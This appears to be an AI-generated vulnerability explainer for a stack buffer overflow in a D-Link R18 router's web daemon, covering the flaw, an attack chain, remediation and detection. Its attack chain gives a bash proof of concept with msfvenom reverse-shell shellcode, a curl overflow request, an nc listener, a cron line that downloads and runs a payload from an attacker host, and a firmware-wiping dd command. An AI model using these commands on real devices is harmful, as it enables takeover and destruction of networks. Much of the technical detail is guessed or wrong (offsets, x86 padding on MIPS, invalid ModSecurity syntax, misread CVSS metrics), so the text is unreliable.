CVE-2026-138361 — D-Link R18 (1.20.B01) — CWE-121 · CWE-119
A security vulnerability has been detected in D-Link R18 1.20.B01. This issue affects the function is_session_valid of the file /bin/httpd of the component DHMAPI. The manipulation of the argument API-AUTH leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used.
A security vulnerability has been detected in D-Link R18 1.20.B01. This issue affects the function is_session_valid of the file /bin/httpd of the component DHMAPI. The manipulation of the argument API-AUTH leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used.
🎯 What is this vulnerability?
Vulnerability name: Stack‑based buffer overflow in is_session_valid (component DHMAPI) of the D‑Link R18 firmware 1.20.B01.
CVE: CVE‑2026‑138361
CVSS 4.0 vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P (Critical)
CWE: CWE‑121 (Stack‑based Buffer Overflow) and CWE‑119 (Improper Restriction of Operations within the Bounds of a Memory Buffer).
Technical flaw
1. Entry point – The HTTP daemon (/bin/httpd) implements a proprietary API called DHMAPI.
2. Function – is_session_valid() validates an incoming request by checking the value of the API‑AUTH argument (either a custom HTTP header X-API-AUTH or a URL‑encoded query parameter, depending on the request type).
3. Missing bounds check – The function copies the supplied API‑AUTH value into a fixed‑size stack buffer (e.g., char auth_buf[64];) using an unsafe routine such as strcpy()/sprintf() without verifying the length of the input.
4. Result – Supplying more than 63 bytes (plus the terminating NUL) overwrites adjacent stack data, including the saved return address. Because the daemon runs with root privileges (the HTTP service on the router is launched as UID 0), an attacker can hijack control flow and execute arbitrary code in the context of the web server process.
Why the CVSS vector is so high
| Metric | Reason |
|---|---|
| AV:N (Network) | The overflow is triggered by a remote HTTP request; no local access required. |
| AC:L (Low) | No special timing, race conditions, or cryptographic operations are needed; a single crafted request suffices. |
| AT:N (None) | No additional tools beyond a standard HTTP client are required. |
| PR:N (None) | No authentication is required; the vulnerable function is called for every request that contains the API‑AUTH field. |
| UI:N (None) | No user interaction is needed after the request is sent. |
| VC:H / VI:H / VA:H (High) | Successful exploitation yields Remote Code Execution (RCE) with root privileges, allowing full compromise of the device. |
| SC:H / SI:H / SA:H (High) | The overflow corrupts the stack (SC), the instruction pointer (SI) and all subsequent control‑flow (SA). |
| E:P (Proof‑of‑Concept) | Public exploit code exists, confirming the vulnerability is exploitable in the wild. |
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker would follow against a vulnerable D‑Link R18 router. All commands are illustrative – the exact URI/parameter name is inferred from the CVE description (the real firmware may use a different path, but the mechanics remain identical).
1. Discovery & Reconnaissance
| Step | Action | Tool / Command | Expected Result |
|---|---|---|---|
| 1.1 | Identify the device type and firmware version. | nmap -sV -p 80,443 <target_ip> or curl -I http://<target_ip>/ | Banner reveals “D‑Link R18 – Firmware 1.20.B01”. |
| 1.2 | Verify that the HTTP daemon is the vulnerable component. | curl http://<target_ip>/status (or any known public endpoint) | Returns JSON with a field dhmapi_version or similar, confirming DHMAPI is present. |
| 1.3 | Locate the API endpoint that invokes is_session_valid. | Passive traffic capture (e.g., tcpdump -i eth0 -A port 80) while interacting with the router’s web UI. | Observes a request to /api/session (or similar) that includes a header X-API-AUTH:. |
Note: If the exact endpoint is not publicly documented, the attacker can fuzz the API surface (e.g.,GET /api/,POST /dhmapi/) until a 200/401 response containing theAPI‑AUTHfield is observed.
2. Exploitation
Goal: Overwrite the saved return address on the stack to redirect execution to attacker‑controlled shellcode.
2.1 Craft the malicious payload
Assumptions for the PoC
- Stack buffer size = 64 bytes (as typical for such bugs).
- Return address is located 72 bytes from the start of
auth_buf. - The router uses MIPS‑LE (common for D‑Link devices).
- ASLR is disabled for the HTTP daemon (default on many embedded routers).
# 1. Build a MIPS‑LE NOP sled (0x00000000 is a legal NOP on MIPS)
NOP_SLED=$(python3 -c 'print("\x00\x00\x00\x00"*32)')
# 2. Simple reverse‑shell payload (MIPS‑LE, 28 bytes) – generated with msfvenom
# msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f raw -o shell.bin
PAYLOAD=$(cat shell.bin)
# 3. Overwrite the saved return address with the address of the NOP sled.
# Assume the stack address of auth_buf is 0x7fffe000 (observed via a debug build).
RET_ADDR=$(python3 -c 'import struct; print(struct.pack("<I", 0x7fffe000))')
# 4. Assemble the final overflow string:
# [NOP sled][payload][padding][ret_addr]
OVERFLOW=$(printf "%s%s%s%s" "$NOP_SLED" "$PAYLOAD" "$(python3 -c 'print("\x90"*8)')" "$RET_ADDR")2.2 Send the malicious request
# Illustrative endpoint – replace /api/session with the real one if known.
curl -s -k -X POST "http://<target_ip>/api/session" \
-H "Content-Type: application/json" \
-H "X-API-AUTH: $OVERFLOW" \
-d '{"action":"validate"}' \
-o /dev/nullWhat happens on the device
1. The HTTP daemon receives the request and passes the value of X-API-AUTH to is_session_valid().
2. strcpy(auth_buf, api_auth) copies the 200‑byte string into a 64‑byte stack buffer, overwriting the saved frame pointer and return address.
3. When is_session_valid() returns, execution jumps to 0x7fffe000, the start of the NOP sled, slides into the injected MIPS shellcode, and opens a reverse TCP connection to the attacker’s listener.
2.3 Listen for the reverse shell
nc -lvkp 4444A successful connection yields a root shell on the router:
root@router:~# id
uid=0(root) gid=0(root) groups=0(root)3. Post‑exploitation
| Goal | Technique | Example |
|---|---|---|
| Persistence | Install a startup script in /etc/rc.d/ or modify the init system (e.g., add a cron job @reboot /bin/sh -c 'wget http://attacker/payload.sh -O /tmp/p.sh && sh /tmp/p.sh'). | echo "@reboot /usr/bin/wget http://attacker/payload.sh -O /tmp/p.sh && sh /tmp/p.sh" >> /etc/crontab |
| Privilege escalation (if sandboxed) | The process already runs as root; no further escalation needed. | |
| Lateral movement | Use the compromised router as a foothold to pivot to the internal LAN (e.g., arp -a, nmap -sn 192.168.0.0/24). | |
| Data exfiltration | Dump configuration files (/etc/config/*), credentials (/etc/passwd, /etc/shadow), and any stored Wi‑Fi keys. | |
| Destructive actions | Overwrite the firmware partition (dd if=/dev/zero of=/dev/mtd0) to brick the device, or launch a DDoS botnet by installing a lightweight HTTP flooder. |
🌍 Real World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality | High – An attacker can read all files on the router, capture traffic, and retrieve stored Wi‑Fi passwords, VPN credentials, and any attached storage. |
| Integrity | High – The attacker can modify firewall rules, DNS settings, or replace the firmware, effectively turning the router into a malicious gateway. |
| Availability | High – By crashing the httpd process, overwriting the firmware, or flooding the device, the attacker can render the network unusable. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Vulnerable version | Fixed version (as of public advisory) |
|---|---|---|
| D‑Link R18 firmware | 1.20.B01 | 1.20.B02 (or later) – includes a bounds‑checked implementation of is_session_valid() (replaced strcpy with strncpy and added length validation). |
Action: Immediately download the latest firmware from the official D‑Link support portal and flash the device following the vendor’s instructions. Verify the version with cat /etc/version after upgrade.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Network segmentation | Place the router in a dedicated management VLAN and restrict inbound traffic to the management interface (e.g., only allow source IPs of trusted administrators). |
| WAF / ModSecurity rule | Block or limit the size of the X-API-AUTH header (or any API-AUTH parameter). Example ModSecurity rule (valid syntax): |
SecRule REQUEST_HEADERS:X-API-AUTH "@gt 64" "id:2026001,phase:1,deny,status:413,msg:'API‑AUTH header exceeds allowed length',log"If the argument is passed as a query parameter: |
SecRule ARGS:API-AUTH "@gt 64" "id:2026002,phase:2,deny,status:413,msg:'API‑AUTH parameter too long',log"| Disable DHMAPI | If the router’s web UI does not require the DHMAPI component for normal operation, edit /etc/config/httpd (or the equivalent config file) to comment out the dhmapi module line and restart the daemon: |
# vi /etc/config/httpd
# module dhmapi
/etc/init.d/httpd restart| Rate limiting | Apply connection‑rate limits on the HTTP service to reduce the chance of automated exploitation: |
SecRule REQUEST_HEADERS:User-Agent ".*" "phase:1,ctl:rateLimit=5,expirevar:IP=60"| Enable ASLR / Stack canaries | Some D‑Link firmware builds allow toggling of kernel hardening flags via sysctl. If available, enable: |
sysctl -w kernel.randomize_va_space=2
sysctl -w kernel.exec-shield=1(Verify that the router’s kernel supports these options; many embedded kernels do not.)
3. Detection
| Indicator | Description | Example log entry |
|---|---|---|
Oversized API‑AUTH header | HTTP request containing a header longer than the expected 64 bytes. | 10.0.0.5 - - [30/Nov/2026:12:34:56 +0000] "POST /api/session HTTP/1.1" 200 123 "http://router.local/" "X-API-AUTH: AAAAAAAAAA…(200 bytes)" |
| Unexpected process crash | httpd process exiting with a segmentation fault (SIGSEGV). | kernel: [12345.678901] httpd[1234]: segfault at 0 ip 0x7fffe000 sp 0x7fffdff0 error 4 in httpd[1.20.B01] |
| Outbound reverse‑shell connections | Outgoing TCP connections from the router to unusual external IPs on non‑standard ports (e.g., 4444, 1337). | iptables: IN=eth0 OUT=eth0 SRC=192.168.1.1 DST=203.0.113.45 PROTO=TCP SPT=56789 DPT=4444 |
| New cron entries or rc scripts | Files added to /etc/rc.d/ or /etc/crontab after the compromise. | root@router:/# cat /etc/crontab → shows a line with @reboot wget http://malicious/payload.sh. |
| File integrity changes | Checksums of /bin/httpd or /etc/config/httpd differ from known good values. | sha256sum /bin/httpd → does not match vendor‑published hash. |
Log collection – Enable verbose logging on the HTTP daemon (loglevel=debug) and forward logs to a SIEM for correlation with the above patterns.
⚠️ Urgency
Bottom line: CVE‑2026‑138361 is a classic, high‑impact stack buffer overflow that gives an unauthenticated attacker full control over the router. The only reliable long‑term fix is to upgrade to the vendor‑released firmware that implements proper bounds checking. Until then, enforce strict input size validation at the edge (WAF), isolate the device, and monitor for the indicators listed above.
[🤖 CVE Professor AI Security Engine]
FOFA Query